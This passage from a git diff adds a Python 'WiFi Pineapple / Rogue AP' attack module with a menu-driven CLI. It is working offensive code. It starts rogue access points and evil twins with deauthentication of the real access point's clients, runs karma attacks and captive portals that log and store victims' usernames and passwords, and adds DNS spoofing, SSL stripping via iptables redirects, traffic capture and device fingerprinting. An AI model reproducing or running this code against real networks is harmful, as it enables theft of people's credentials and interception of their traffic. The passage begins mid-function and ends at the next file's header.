self._hostapd_proc.stderr.read().decode(errors='replace') + return {'ok': False, 'error': f'hostapd failed to start: {stderr[:300]}'} + + # Start dnsmasq + self._dnsmasq_proc = subprocess.Popen( + [self.dnsmasq, '-C', dnsmasq_conf, '-d'], + stdout=subprocess.PIPE, stderr=subprocess.PIPE + ) + time.sleep(0.5) + + if self._dnsmasq_proc.poll() is not None: + stderr = self._dnsmasq_proc.stderr.read().decode(errors='replace') + self._hostapd_proc.terminate() + return {'ok': False, 'error': f'dnsmasq failed to start: {stderr[:300]}'} + + self._ap_running = True + self._ap_ssid = ssid + self._ap_channel = channel + self._ap_interface = interface + + return { + 'ok': True, + 'message': f'Rogue AP "{ssid}" started on {interface} (ch {channel})', + 'ssid': ssid, + 'channel': channel, + 'interface': interface, + 'ip': ap_ip, + 'encryption': encryption, + 'nat': internet_interface is not None + } + + except Exception as e: + self.stop_rogue_ap() + return {'ok': False, 'error': str(e)} + + def stop_rogue_ap(self) -> Dict: + """Stop rogue AP, kill hostapd/dnsmasq, cleanup.""" + errors = [] + + # Kill hostapd + if self._hostapd_proc: + try: + self._hostapd_proc.terminate() + self._hostapd_proc.wait(timeout=5) + except Exception: + try: + self._hostapd_proc.kill() + except Exception: + pass + self._hostapd_proc = None + + # Kill dnsmasq + if self._dnsmasq_proc: + try: + self._dnsmasq_proc.terminate() + self._dnsmasq_proc.wait(timeout=5) + except Exception: + try: + self._dnsmasq_proc.kill() + except Exception: + pass + self._dnsmasq_proc = None + + # Remove NAT rules + if self._internet_interface and self._ap_interface: + self._teardown_nat(self._ap_interface, self._internet_interface) + + # Stop captive portal if running + if self._portal_active: + self.stop_captive_portal() + + # Stop karma if running + if self._karma_active: + self.disable_karma() + + # Stop SSL strip if running + if self._sslstrip_active: + self.disable_ssl_strip() + + # Flush interface IP + if self.ip_bin and self._ap_interface: + try: + subprocess.run( + [self.ip_bin, 'addr', 'flush', 'dev', self._ap_interface], + capture_output=True, timeout=5 + ) + except Exception: + pass + + self._ap_running = False + self._ap_ssid = '' + self._ap_channel = 6 + self._ap_interface = '' + self._internet_interface = '' + self._clients.clear() + + return {'ok': True, 'message': 'Rogue AP stopped and cleaned up'} + + def is_running(self) -> bool: + """Check if AP is active.""" + if self._ap_running and self._hostapd_proc: + if self._hostapd_proc.poll() is not None: + self._ap_running = False + return self._ap_running + + def get_status(self) -> Dict: + """Get AP status details.""" + running = self.is_running() + return { + 'running': running, + 'ssid': self._ap_ssid if running else '', + 'channel': self._ap_channel if running else 0, + 'interface': self._ap_interface if running else '', + 'internet_interface': self._internet_interface if running else '', + 'client_count': len(self._clients) if running else 0, + 'portal_active': self._portal_active, + 'portal_type': self._portal_type, + 'karma_active': self._karma_active, + 'sslstrip_active': self._sslstrip_active, + 'dns_spoof_active': self._dns_spoof_active, + 'dns_spoofs': self._dns_spoofs if self._dns_spoof_active else {}, + 'capture_count': len(self._portal_captures), + 'tools': self.get_tools_status() + } + + # ── Evil Twin ──────────────────────────────────────────────────────── + + def evil_twin(self, target_ssid: str, target_bssid: str, interface: str, + internet_interface: str = None) -> Dict: + """Clone target AP config and start rogue AP with same parameters.""" + if self._ap_running: + return {'ok': False, 'error': 'AP already running. Stop it first.'} + if not target_ssid or not interface: + return {'ok': False, 'error': 'Target SSID and interface are required'} + + # Try to determine target channel + channel = 6 # default + if self.iw_bin: + try: + out = subprocess.check_output( + [self.iw_bin, 'dev', interface, 'scan'], + text=True, timeout=15, stderr=subprocess.DEVNULL + ) + # Parse scan output for the target BSSID/SSID + bss_block = '' + capture = False + for line in out.splitlines(): + if line.startswith('BSS '): + if capture and bss_block: + break + bssid_found = line.split()[1].split('(')[0].upper() + if target_bssid and bssid_found == target_bssid.upper(): + capture = True + bss_block = '' + else: + capture = False + if capture: + bss_block += line + '\n' + + if bss_block: + ch_m = re.search(r'DS Parameter set: channel (\d+)', bss_block) + if ch_m: + channel = int(ch_m.group(1)) + else: + ch_m = re.search(r'primary channel: (\d+)', bss_block) + if ch_m: + channel = int(ch_m.group(1)) + except Exception: + pass + + # Optionally deauth clients from real AP + if target_bssid and self.aireplay: + try: + subprocess.Popen( + [self.aireplay, '-0', '5', '-a', target_bssid, interface], + stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL + ) + except Exception: + pass # Non-fatal: deauth is optional + + # Start AP with cloned params + result = self.start_rogue_ap( + ssid=target_ssid, + interface=interface, + channel=channel, + encryption='open', + internet_interface=internet_interface + ) + + if result.get('ok'): + result['message'] = ( + f'Evil twin for "{target_ssid}" started on ch {channel}' + + (f' (cloned from {target_bssid})' if target_bssid else '') + ) + result['evil_twin'] = True + result['target_bssid'] = target_bssid + + return result + + # ── Captive Portal ─────────────────────────────────────────────────── + + def start_captive_portal(self, portal_type: str = 'hotel_wifi', + custom_html: str = None) -> Dict: + """Set up iptables to redirect HTTP to captive portal.""" + if not self._ap_running: + return {'ok': False, 'error': 'Start rogue AP first before enabling captive portal'} + if not self.iptables: + return {'ok': False, 'error': 'iptables not found'} + + ap_ip = '10.0.0.1' + + try: + # Redirect HTTP (port 80) to our portal server + subprocess.run([ + self.iptables, '-t', 'nat', '-A', 'PREROUTING', + '-i', self._ap_interface, '-p', 'tcp', '--dport', '80', + '-j', 'DNAT', '--to-destination', f'{ap_ip}:8080' + ], capture_output=True, timeout=5) + + # Redirect HTTPS (port 443) to portal as well + subprocess.run([ + self.iptables, '-t', 'nat', '-A', 'PREROUTING', + '-i', self._ap_interface, '-p', 'tcp', '--dport', '443', + '-j', 'DNAT', '--to-destination', f'{ap_ip}:8080' + ], capture_output=True, timeout=5) + + # Allow the redirect + subprocess.run([ + self.iptables, '-A', 'FORWARD', + '-i', self._ap_interface, '-p', 'tcp', '--dport', '8080', + '-j', 'ACCEPT' + ], capture_output=True, timeout=5) + + self._portal_active = True + self._portal_type = portal_type + + # Save portal HTML for serving + if custom_html: + portal_html = custom_html + else: + portal_html = CAPTIVE_PORTAL_TEMPLATES.get(portal_type, '') + if not portal_html: + portal_html = CAPTIVE_PORTAL_TEMPLATES.get('hotel_wifi', '') + + portal_file = os.path.join(self.configs_dir, 'portal.html') + with open(portal_file, 'w') as f: + f.write(portal_html) + + success_file = os.path.join(self.configs_dir, 'portal_success.html') + with open(success_file, 'w') as f: + f.write(PORTAL_SUCCESS_PAGE) + + return { + 'ok': True, + 'message': f'Captive portal ({portal_type}) enabled', + 'portal_type': portal_type, + 'redirect_ip': ap_ip + } + + except Exception as e: + return {'ok': False, 'error': str(e)} + + def stop_captive_portal(self) -> Dict: + """Remove captive portal iptables redirect rules.""" + if not self._portal_active: + return {'ok': False, 'error': 'No captive portal is running'} + + ap_ip = '10.0.0.1' + + try: + if self.iptables and self._ap_interface: + # Remove HTTP redirect + subprocess.run([ + self.iptables, '-t', 'nat', '-D', 'PREROUTING', + '-i', self._ap_interface, '-p', 'tcp', '--dport', '80', + '-j', 'DNAT', '--to-destination', f'{ap_ip}:8080' + ], capture_output=True, timeout=5) + + # Remove HTTPS redirect + subprocess.run([ + self.iptables, '-t', 'nat', '-D', 'PREROUTING', + '-i', self._ap_interface, '-p', 'tcp', '--dport', '443', + '-j', 'DNAT', '--to-destination', f'{ap_ip}:8080' + ], capture_output=True, timeout=5) + + # Remove forward rule + subprocess.run([ + self.iptables, '-D', 'FORWARD', + '-i', self._ap_interface, '-p', 'tcp', '--dport', '8080', + '-j', 'ACCEPT' + ], capture_output=True, timeout=5) + + except Exception: + pass + + self._portal_active = False + self._portal_type = '' + return {'ok': True, 'message': 'Captive portal stopped'} + + def capture_portal_creds(self, data: Dict) -> Dict: + """Log credentials from portal form submission.""" + entry = { + 'timestamp': datetime.now().isoformat(), + 'username': data.get('username', ''), + 'password': data.get('password', ''), + 'email': data.get('email', ''), + 'domain': data.get('domain', ''), + 'provider': data.get('provider', ''), + 'ip': data.get('ip', ''), + 'user_agent': data.get('user_agent', ''), + } + + with self._lock: + self._portal_captures.append(entry) + self._save_captures() + + return {'ok': True, 'count': len(self._portal_captures)} + + def get_portal_captures(self) -> List[Dict]: + """Return all captured portal credentials.""" + return list(self._portal_captures) + + def get_portal_html(self) -> str: + """Return the current portal HTML page.""" + portal_file = os.path.join(self.configs_dir, 'portal.html') + if os.path.exists(portal_file): + with open(portal_file, 'r') as f: + return f.read() + # Default fallback + return CAPTIVE_PORTAL_TEMPLATES.get('hotel_wifi', 'Portal') + + def get_portal_success_html(self) -> str: + """Return the portal success page HTML.""" + success_file = os.path.join(self.configs_dir, 'portal_success.html') + if os.path.exists(success_file): + with open(success_file, 'r') as f: + return f.read() + return PORTAL_SUCCESS_PAGE + + # ── Karma Attack ───────────────────────────────────────────────────── + + def enable_karma(self, interface: str = None) -> Dict: + """Enable karma mode: respond to all probe requests.""" + iface = interface or self._ap_interface + if not iface: + return {'ok': False, 'error': 'No interface specified'} + if self._karma_active: + return {'ok': False, 'error': 'Karma mode is already active'} + + # Prefer hostapd-mana if available + hostapd_mana = find_tool('hostapd-mana') or shutil.which('hostapd-mana') + + if hostapd_mana: + # Generate karma-enabled hostapd-mana config + karma_conf = os.path.join(self.configs_dir, 'karma.conf') + conf_lines = [ + f'interface={iface}', + 'ssid=FreeWiFi', + 'channel=6', + 'driver=nl80211', + 'hw_mode=g', + 'enable_karma=1', + 'karma_black_white=0', + ] + with open(karma_conf, 'w') as f: + f.write('\n'.join(conf_lines) + '\n') + + try: + self._karma_proc = subprocess.Popen( + [hostapd_mana, karma_conf], + stdout=subprocess.PIPE, stderr=subprocess.PIPE + ) + time.sleep(1) + if self._karma_proc.poll() is not None: + stderr = self._karma_proc.stderr.read().decode(errors='replace') + return {'ok': False, 'error': f'hostapd-mana failed: {stderr[:200]}'} + + self._karma_active = True + return {'ok': True, 'message': 'Karma mode enabled via hostapd-mana'} + except Exception as e: + return {'ok': False, 'error': str(e)} + + # Fallback: airbase-ng for karma + elif self.airbase: + try: + self._karma_proc = subprocess.Popen( + [self.airbase, '-P', '-C', '30', '-e', 'FreeWiFi', '-v', iface], + stdout=subprocess.PIPE, stderr=subprocess.PIPE + ) + time.sleep(1) + if self._karma_proc.poll() is not None: + stderr = self._karma_proc.stderr.read().decode(errors='replace') + return {'ok': False, 'error': f'airbase-ng failed: {stderr[:200]}'} + + self._karma_active = True + return {'ok': True, 'message': 'Karma mode enabled via airbase-ng'} + except Exception as e: + return {'ok': False, 'error': str(e)} + + return {'ok': False, 'error': 'Neither hostapd-mana nor airbase-ng found'} + + def disable_karma(self) -> Dict: + """Stop karma mode.""" + if not self._karma_active: + return {'ok': False, 'error': 'Karma mode is not active'} + + if self._karma_proc: + try: + self._karma_proc.terminate() + self._karma_proc.wait(timeout=5) + except Exception: + try: + self._karma_proc.kill() + except Exception: + pass + self._karma_proc = None + + self._karma_active = False + return {'ok': True, 'message': 'Karma mode disabled'} + + # ── Client Management ──────────────────────────────────────────────── + + def get_clients(self) -> List[Dict]: + """List connected clients from DHCP leases and ARP table.""" + clients = {} + + # Parse dnsmasq lease file + lease_file = os.path.join(self.data_dir, 'dnsmasq.leases') + if os.path.exists(lease_file): + try: + with open(lease_file, 'r') as f: + for line in f: + parts = line.strip().split() + if len(parts) >= 4: + mac = parts[1].upper() + ip = parts[2] + hostname = parts[3] if parts[3] != '*' else '' + clients[mac] = { + 'mac': mac, + 'ip': ip, + 'hostname': hostname, + 'os': self._fingerprint_os(hostname, mac), + 'first_seen': self._clients.get(mac, {}).get( + 'first_seen', datetime.now().isoformat()), + 'last_seen': datetime.now().isoformat(), + 'data_usage': self._clients.get(mac, {}).get('data_usage', 0) + } + except Exception: + pass + + # Supplement with ARP table + try: + arp_output = subprocess.check_output( + ['arp', '-an'], text=True, timeout=5, stderr=subprocess.DEVNULL + ) + for line in arp_output.splitlines(): + m = re.match(r'\S+\s+\((\d+\.\d+\.\d+\.\d+)\)\s+at\s+([0-9a-fA-F:]+)', line) + if m: + ip = m.group(1) + mac = m.group(2).upper() + if ip.startswith('10.0.0.') and mac not in clients: + clients[mac] = { + 'mac': mac, + 'ip': ip, + 'hostname': '', + 'os': '', + 'first_seen': self._clients.get(mac, {}).get( + 'first_seen', datetime.now().isoformat()), + 'last_seen': datetime.now().isoformat(), + 'data_usage': self._clients.get(mac, {}).get('data_usage', 0) + } + except Exception: + pass + + with self._lock: + self._clients.update(clients) + + return list(self._clients.values()) + + def kick_client(self, mac_address: str) -> Dict: + """Deauthenticate specific client from rogue AP.""" + if not self._ap_running: + return {'ok': False, 'error': 'AP is not running'} + if not mac_address: + return {'ok': False, 'error': 'MAC address is required'} + + mac = mac_address.upper() + + # Use aireplay-ng to send deauth + if self.aireplay and self._ap_interface: + try: + # Get the AP BSSID from interface + ap_mac = self._get_interface_mac(self._ap_interface) + if not ap_mac: + ap_mac = 'FF:FF:FF:FF:FF:FF' + + subprocess.run( + [self.aireplay, '-0', '3', '-a', ap_mac, '-c', mac, self._ap_interface], + capture_output=True, timeout=10 + ) + + # Remove from client list + if mac in self._clients: + del self._clients[mac] + + return {'ok': True, 'message': f'Deauth sent to {mac}'} + except Exception as e: + return {'ok': False, 'error': str(e)} + + # Fallback: use hostapd_cli + hostapd_cli = shutil.which('hostapd_cli') + if hostapd_cli: + try: + subprocess.run( + [hostapd_cli, 'deauthenticate', mac], + capture_output=True, timeout=5 + ) + if mac in self._clients: + del self._clients[mac] + return {'ok': True, 'message': f'Client {mac} deauthenticated'} + except Exception as e: + return {'ok': False, 'error': str(e)} + + return {'ok': False, 'error': 'No tool available to kick client'} + + # ── DNS Spoofing ───────────────────────────────────────────────────── + + def enable_dns_spoof(self, spoofs: Dict[str, str]) -> Dict: + """Configure dnsmasq to resolve specific domains to specified IPs.""" + if not spoofs: + return {'ok': False, 'error': 'No spoofs provided'} + + self._dns_spoofs = dict(spoofs) + self._dns_spoof_active = True + + # If AP is running, restart dnsmasq with new config + if self._ap_running: + return self._restart_dnsmasq() + + return { + 'ok': True, + 'message': f'DNS spoofing configured for {len(spoofs)} domain(s). ' + 'Spoofs will activate when AP starts.', + 'spoofs': spoofs + } + + def disable_dns_spoof(self) -> Dict: + """Restore normal DNS resolution.""" + self._dns_spoofs.clear() + self._dns_spoof_active = False + + if self._ap_running: + return self._restart_dnsmasq() + + return {'ok': True, 'message': 'DNS spoofing disabled'} + + # ── SSL Strip ──────────────────────────────────────────────────────── + + def enable_ssl_strip(self) -> Dict: + """Set up iptables + sslstrip to downgrade HTTPS connections.""" + if not self._ap_running: + return {'ok': False, 'error': 'Start rogue AP first'} + if self._sslstrip_active: + return {'ok': False, 'error': 'SSL strip is already running'} + if not self.sslstrip_bin: + return {'ok': False, 'error': 'sslstrip not found. Install with: pip install sslstrip'} + if not self.iptables: + return {'ok': False, 'error': 'iptables not found'} + + sslstrip_port = 10000 + + try: + # Enable IP forwarding + subprocess.run( + ['sysctl', '-w', 'net.ipv4.ip_forward=1'], + capture_output=True, timeout=5 + ) + + # Redirect HTTPS traffic to sslstrip + subprocess.run([ + self.iptables, '-t', 'nat', '-A', 'PREROUTING', + '-i', self._ap_interface, '-p', 'tcp', '--dport', '443', + '-j', 'REDIRECT', '--to-port', str(sslstrip_port) + ], capture_output=True, timeout=5) + + # Start sslstrip + log_file = os.path.join(self.data_dir, 'sslstrip.log') + self._sslstrip_proc = subprocess.Popen( + [self.sslstrip_bin, '-l', str(sslstrip_port), '-w', log_file], + stdout=subprocess.PIPE, stderr=subprocess.PIPE + ) + time.sleep(1) + + if self._sslstrip_proc.poll() is not None: + stderr = self._sslstrip_proc.stderr.read().decode(errors='replace') + return {'ok': False, 'error': f'sslstrip failed: {stderr[:200]}'} + + self._sslstrip_active = True + return {'ok': True, 'message': f'SSL strip enabled on port {sslstrip_port}'} + + except Exception as e: + return {'ok': False, 'error': str(e)} + + def disable_ssl_strip(self) -> Dict: + """Remove sslstrip iptables rules and stop sslstrip.""" + if not self._sslstrip_active: + return {'ok': False, 'error': 'SSL strip is not running'} + + sslstrip_port = 10000 + + # Kill sslstrip + if self._sslstrip_proc: + try: + self._sslstrip_proc.terminate() + self._sslstrip_proc.wait(timeout=5) + except Exception: + try: + self._sslstrip_proc.kill() + except Exception: + pass + self._sslstrip_proc = None + + # Remove iptables rule + if self.iptables and self._ap_interface: + try: + subprocess.run([ + self.iptables, '-t', 'nat', '-D', 'PREROUTING', + '-i', self._ap_interface, '-p', 'tcp', '--dport', '443', + '-j', 'REDIRECT', '--to-port', str(sslstrip_port) + ], capture_output=True, timeout=5) + except Exception: + pass + + self._sslstrip_active = False + return {'ok': True, 'message': 'SSL strip disabled'} + + # ── Traffic Capture ────────────────────────────────────────────────── + + def sniff_traffic(self, interface: str = None, filter_expr: str = None, + duration: int = 60) -> Dict: + """Capture packets from connected clients.""" + iface = interface or self._ap_interface + if not iface: + return {'ok': False, 'error': 'No interface specified'} + if not self.tcpdump: + return {'ok': False, 'error': 'tcpdump not found'} + if self._sniff_proc and self._sniff_proc.poll() is None: + return {'ok': False, 'error': 'Capture already running. Stop it first.'} + + cap_file = os.path.join( + self.traffic_dir, f'traffic_{int(time.time())}.pcap' + ) + + cmd = [self.tcpdump, '-i', iface, '-w', cap_file, '-c', '10000'] + if filter_expr: + cmd.extend(filter_expr.split()) + + try: + self._sniff_proc = subprocess.Popen( + cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE + ) + + # Schedule auto-stop + def _auto_stop(): + time.sleep(duration) + if self._sniff_proc and self._sniff_proc.poll() is None: + try: + self._sniff_proc.send_signal(signal.SIGINT) + self._sniff_proc.wait(timeout=5) + except Exception: + pass + + threading.Thread(target=_auto_stop, daemon=True).start() + + return { + 'ok': True, + 'message': f'Traffic capture started on {iface} ({duration}s)', + 'capture_file': cap_file, + 'pid': self._sniff_proc.pid + } + + except Exception as e: + return {'ok': False, 'error': str(e)} + + def stop_sniff(self) -> Dict: + """Stop traffic capture.""" + if self._sniff_proc and self._sniff_proc.poll() is None: + try: + self._sniff_proc.send_signal(signal.SIGINT) + self._sniff_proc.wait(timeout=5) + except Exception: + try: + self._sniff_proc.kill() + except Exception: + pass + self._sniff_proc = None + return {'ok': True, 'message': 'Traffic capture stopped'} + return {'ok': False, 'error': 'No capture running'} + + def get_traffic_stats(self) -> Dict: + """Get bandwidth usage, top domains, top clients.""" + stats = { + 'total_bytes': 0, + 'top_domains': [], + 'top_clients': [], + 'capture_files': [] + } + + # Parse dnsmasq query log for top domains + log_file = os.path.join(self.data_dir, 'dnsmasq.log') + domain_counts: Dict[str, int] = {} + if os.path.exists(log_file): + try: + with open(log_file, 'r') as f: + for line in f: + m = re.search(r'query\[A\]\s+(\S+)\s+from\s+(\S+)', line) + if m: + domain = m.group(1) + client_ip = m.group(2) + domain_counts[domain] = domain_counts.get(domain, 0) + 1 + except Exception: + pass + + stats['top_domains'] = sorted( + [{'domain': k, 'queries': v} for k, v in domain_counts.items()], + key=lambda x: x['queries'], reverse=True + )[:20] + + # Client data from leases + client_usage = {} + for mac, info in self._clients.items(): + client_usage[mac] = { + 'mac': mac, + 'ip': info.get('ip', ''), + 'hostname': info.get('hostname', ''), + 'data_usage': info.get('data_usage', 0) + } + + stats['top_clients'] = sorted( + list(client_usage.values()), + key=lambda x: x['data_usage'], reverse=True + )[:20] + + # List traffic capture files + try: + traffic_path = Path(self.traffic_dir) + for f in sorted(traffic_path.glob('*.pcap'), reverse=True): + stats['capture_files'].append({ + 'name': f.name, + 'path': str(f), + 'size': f.stat().st_size, + 'modified': datetime.fromtimestamp(f.stat().st_mtime).isoformat() + }) + except Exception: + pass + + return stats + + # ── NAT / iptables Helpers ─────────────────────────────────────────── + + def _setup_nat(self, ap_iface: str, inet_iface: str, subnet: str): + """Set up NAT forwarding between AP and internet interface.""" + if not self.iptables: + return + + try: + # Enable IP forwarding + subprocess.run( + ['sysctl', '-w', 'net.ipv4.ip_forward=1'], + capture_output=True, timeout=5 + ) + + # NAT masquerade + subprocess.run([ + self.iptables, '-t', 'nat', '-A', 'POSTROUTING', + '-o', inet_iface, '-j', 'MASQUERADE' + ], capture_output=True, timeout=5) + + # Allow forwarding + subprocess.run([ + self.iptables, '-A', 'FORWARD', + '-i', ap_iface, '-o', inet_iface, '-j', 'ACCEPT' + ], capture_output=True, timeout=5) + + subprocess.run([ + self.iptables, '-A', 'FORWARD', + '-i', inet_iface, '-o', ap_iface, + '-m', 'state', '--state', 'RELATED,ESTABLISHED', + '-j', 'ACCEPT' + ], capture_output=True, timeout=5) + + except Exception: + pass + + def _teardown_nat(self, ap_iface: str, inet_iface: str): + """Remove NAT forwarding rules.""" + if not self.iptables: + return + + try: + subprocess.run([ + self.iptables, '-t', 'nat', '-D', 'POSTROUTING', + '-o', inet_iface, '-j', 'MASQUERADE' + ], capture_output=True, timeout=5) + + subprocess.run([ + self.iptables, '-D', 'FORWARD', + '-i', ap_iface, '-o', inet_iface, '-j', 'ACCEPT' + ], capture_output=True, timeout=5) + + subprocess.run([ + self.iptables, '-D', 'FORWARD', + '-i', inet_iface, '-o', ap_iface, + '-m', 'state', '--state', 'RELATED,ESTABLISHED', + '-j', 'ACCEPT' + ], capture_output=True, timeout=5) + except Exception: + pass + + def _restart_dnsmasq(self) -> Dict: + """Restart dnsmasq with current configuration (including DNS spoofs).""" + if self._dnsmasq_proc: + try: + self._dnsmasq_proc.terminate() + self._dnsmasq_proc.wait(timeout=5) + except Exception: + try: + self._dnsmasq_proc.kill() + except Exception: + pass + + ap_ip = '10.0.0.1' + dnsmasq_conf = os.path.join(self.configs_dir, 'dnsmasq.conf') + dns_lines = [ + f'interface={self._ap_interface}', + 'bind-interfaces', + f'dhcp-range=10.0.0.10,10.0.0.250,255.255.255.0,12h', + f'dhcp-option=3,{ap_ip}', + f'dhcp-option=6,{ap_ip}', + 'server=8.8.8.8', + 'server=8.8.4.4', + 'log-queries', + f'log-facility={os.path.join(self.data_dir, "dnsmasq.log")}', + f'dhcp-leasefile={os.path.join(self.data_dir, "dnsmasq.leases")}', + ] + + if self._dns_spoof_active and self._dns_spoofs: + for domain, ip in self._dns_spoofs.items(): + dns_lines.append(f'address=/{domain}/{ip}') + + with open(dnsmasq_conf, 'w') as f: + f.write('\n'.join(dns_lines) + '\n') + + try: + self._dnsmasq_proc = subprocess.Popen( + [self.dnsmasq, '-C', dnsmasq_conf, '-d'], + stdout=subprocess.PIPE, stderr=subprocess.PIPE + ) + time.sleep(0.5) + if self._dnsmasq_proc.poll() is not None: + stderr = self._dnsmasq_proc.stderr.read().decode(errors='replace') + return {'ok': False, 'error': f'dnsmasq restart failed: {stderr[:200]}'} + + msg = 'dnsmasq restarted' + if self._dns_spoof_active: + msg += f' with {len(self._dns_spoofs)} DNS spoof(s)' + return {'ok': True, 'message': msg} + except Exception as e: + return {'ok': False, 'error': str(e)} + + # ── Internal Helpers ───────────────────────────────────────────────── + + def _get_interface_mac(self, interface: str) -> str: + """Get MAC address of an interface.""" + try: + mac_file = Path(f'/sys/class/net/{interface}/address') + if mac_file.exists(): + return mac_file.read_text().strip().upper() + except Exception: + pass + + if self.ip_bin: + try: + out = subprocess.check_output( + [self.ip_bin, 'link', 'show', interface], + text=True, timeout=5 + ) + m = re.search(r'link/ether\s+([0-9a-fA-F:]+)', out) + if m: + return m.group(1).upper() + except Exception: + pass + return '' + + def _fingerprint_os(self, hostname: str, mac: str) -> str: + """Basic OS fingerprinting from hostname and MAC OUI.""" + hostname_lower = hostname.lower() if hostname else '' + + if 'iphone' in hostname_lower or 'ipad' in hostname_lower: + return 'iOS' + if 'android' in hostname_lower or 'galaxy' in hostname_lower or 'pixel' in hostname_lower: + return 'Android' + if 'macbook' in hostname_lower or 'imac' in hostname_lower: + return 'macOS' + if hostname_lower.startswith('desktop-') or hostname_lower.startswith('laptop-'): + return 'Windows' + + # OUI-based fingerprinting + oui = mac[:8].upper() if mac else '' + apple_ouis = [ + '00:03:93', '00:05:02', '00:0A:27', '00:0A:95', '00:0D:93', + '00:10:FA', '00:11:24', '00:14:51', '00:16:CB', '00:17:F2', + '00:19:E3', '00:1B:63', '00:1C:B3', '00:1D:4F', '00:1E:52', + '00:1E:C2', '00:1F:5B', '00:1F:F3', '00:21:E9', '00:22:41', + '00:23:12', '00:23:32', '00:23:6C', '00:23:DF', '00:24:36', + '00:25:00', '00:25:4B', '00:25:BC', '00:26:08', '00:26:4A', + '00:26:B0', '00:26:BB', '3C:07:54', '7C:D1:C3', 'A4:83:E7', + 'AC:BC:32', 'B8:53:AC', 'D0:E1:40', 'F0:B4:79', 'F4:5C:89', + ] + if oui in apple_ouis: + return 'Apple' + + samsung_ouis = ['00:07:AB', '00:12:47', '00:15:99', '00:16:32', '00:17:D5', + '00:18:AF', '00:1A:8A', '00:1B:98', '00:1C:43', '00:1D:25', + '00:1E:E1', '00:1E:E2', '00:21:19', '00:21:D1', '00:23:39', + '00:23:99', '00:23:D6', '00:23:D7', '00:24:54', '00:24:90', + '00:24:91', '00:25:66', '00:25:67', '00:26:37', '00:26:5D'] + if oui in samsung_ouis: + return 'Android (Samsung)' + + return '' + + def _save_captures(self): + """Persist captured credentials to disk.""" + cap_file = os.path.join(self.data_dir, 'portal_captures.json') + try: + with open(cap_file, 'w') as f: + json.dump(self._portal_captures, f, indent=2) + except Exception: + pass + + def _load_captures(self): + """Load persisted captures from disk.""" + cap_file = os.path.join(self.data_dir, 'portal_captures.json') + if os.path.exists(cap_file): + try: + with open(cap_file, 'r') as f: + self._portal_captures = json.load(f) + except Exception: + self._portal_captures = [] + + +# ── Singleton ──────────────────────────────────────────────────────────────── + +_instance = None + +def get_pineapple() -> PineappleAP: + global _instance + if _instance is None: + _instance = PineappleAP() + return _instance + + +# ── CLI Interface ──────────────────────────────────────────────────────────── + +def run(): + """CLI entry point for WiFi Pineapple / Rogue AP module.""" + ap = get_pineapple() + + while True: + status = ap.get_status() + tools = ap.get_tools_status() + available = sum(1 for v in tools.values() if v) + + print(f"\n{'='*60}") + print(f" WiFi Pineapple / Rogue AP ({available}/{len(tools)} tools)") + print(f"{'='*60}") + if status['running']: + print(f" AP Status: RUNNING") + print(f" SSID: {status['ssid']} Channel: {status['channel']}") + print(f" Interface: {status['interface']}") + print(f" Clients: {status['client_count']}") + if status['portal_active']: + print(f" Portal: {status['portal_type']}") + if status['karma_active']: + print(f" Karma: ACTIVE") + if status['dns_spoof_active']: + print(f" DNS Spoofs: {len(status['dns_spoofs'])} entries") + else: + print(f" AP Status: STOPPED") + print() + print(" 1 — Start Rogue AP") + print(" 2 — Stop Rogue AP") + print(" 3 — Evil Twin Attack") + print(" 4 — Captive Portal") + print(" 5 — View Clients") + print(" 6 — DNS Spoof") + print(" 7 — Karma Attack") + print(" 8 — SSL Strip") + print(" 9 — View Captures") + print(" 10 — Traffic Stats") + print(" 11 — Tool Status") + print(" 0 — Back") + print() + + choice = input(" > ").strip() + + if choice == '0': + break + + elif choice == '1': + ifaces = ap.get_interfaces() + wireless = [i for i in ifaces if i.get('wireless', True)] + if wireless: + print(" Wireless interfaces:") + for i, ifc in enumerate(wireless): + print(f" {i+1}. {ifc['name']} (mode={ifc['mode']}, ch={ifc['channel']})") + ssid = input(" SSID: ").strip() + iface = input(" Interface: ").strip() + ch = input(" Channel (default 6): ").strip() + enc = input(" Encryption (open/wpa2, default open): ").strip() or 'open' + pwd = '' + if enc in ('wpa', 'wpa2'): + pwd = input(" Password: ").strip() + inet = input(" Internet interface (blank=none): ").strip() or None + result = ap.start_rogue_ap( + ssid, iface, int(ch) if ch.isdigit() else 6, + enc, pwd, inet + ) + print(f" {result.get('message', result.get('error', 'Unknown'))}") + + elif choice == '2': + result = ap.stop_rogue_ap() + print(f" {result.get('message', result.get('error'))}") + + elif choice == '3': + target = input(" Target SSID: ").strip() + bssid = input(" Target BSSID: ").strip() + iface = input(" Interface: ").strip() + inet = input(" Internet interface (blank=none): ").strip() or None + result = ap.evil_twin(target, bssid, iface, inet) + print(f" {result.get('message', result.get('error'))}") + + elif choice == '4': + print(" Portal types: hotel_wifi, corporate, social_login, terms_accept") + ptype = input(" Portal type: ").strip() or 'hotel_wifi' + if ap._portal_active: + result = ap.stop_captive_portal() + else: + result = ap.start_captive_portal(ptype) + print(f" {result.get('message', result.get('error'))}") + + elif choice == '5': + clients = ap.get_clients() + if clients: + print(f" Connected clients ({len(clients)}):") + for c in clients: + print(f" {c['mac']} {c['ip']:<15} {c['hostname']:<20} {c['os']}") + else: + print(" No connected clients") + + elif choice == '6': + if ap._dns_spoof_active: + result = ap.disable_dns_spoof() + else: + spoofs = {} + while True: + domain = input(" Domain (blank to finish): ").strip() + if not domain: + break + ip = input(f" IP for {domain}: ").strip() + if ip: + spoofs[domain] = ip + if spoofs: + result = ap.enable_dns_spoof(spoofs) + else: + result = {'ok': False, 'error': 'No spoofs entered'} + print(f" {result.get('message', result.get('error'))}") + + elif choice == '7': + if ap._karma_active: + result = ap.disable_karma() + else: + iface = input(" Interface (blank=AP interface): ").strip() or None + result = ap.enable_karma(iface) + print(f" {result.get('message', result.get('error'))}") + + elif choice == '8': + if ap._sslstrip_active: + result = ap.disable_ssl_strip() + else: + result = ap.enable_ssl_strip() + print(f" {result.get('message', result.get('error'))}") + + elif choice == '9': + captures = ap.get_portal_captures() + if captures: + print(f" Captured credentials ({len(captures)}):") + for c in captures: + print(f" [{c['timestamp'][:19]}] user={c['username']} " + f"pass={c['password']} ip={c['ip']}") + else: + print(" No captures yet") + + elif choice == '10': + stats = ap.get_traffic_stats() + if stats['top_domains']: + print(" Top domains:") + for d in stats['top_domains'][:10]: + print(f" {d['domain']:<40} {d['queries']} queries") + else: + print(" No traffic data") + + elif choice == '11': + for tool, avail in tools.items(): + status_str = 'OK' if avail else 'MISSING' + print(f" {tool:<15} {status_str}") diff --git a/modules/rcs_tools.py b/modules/rcs_tools.py new file 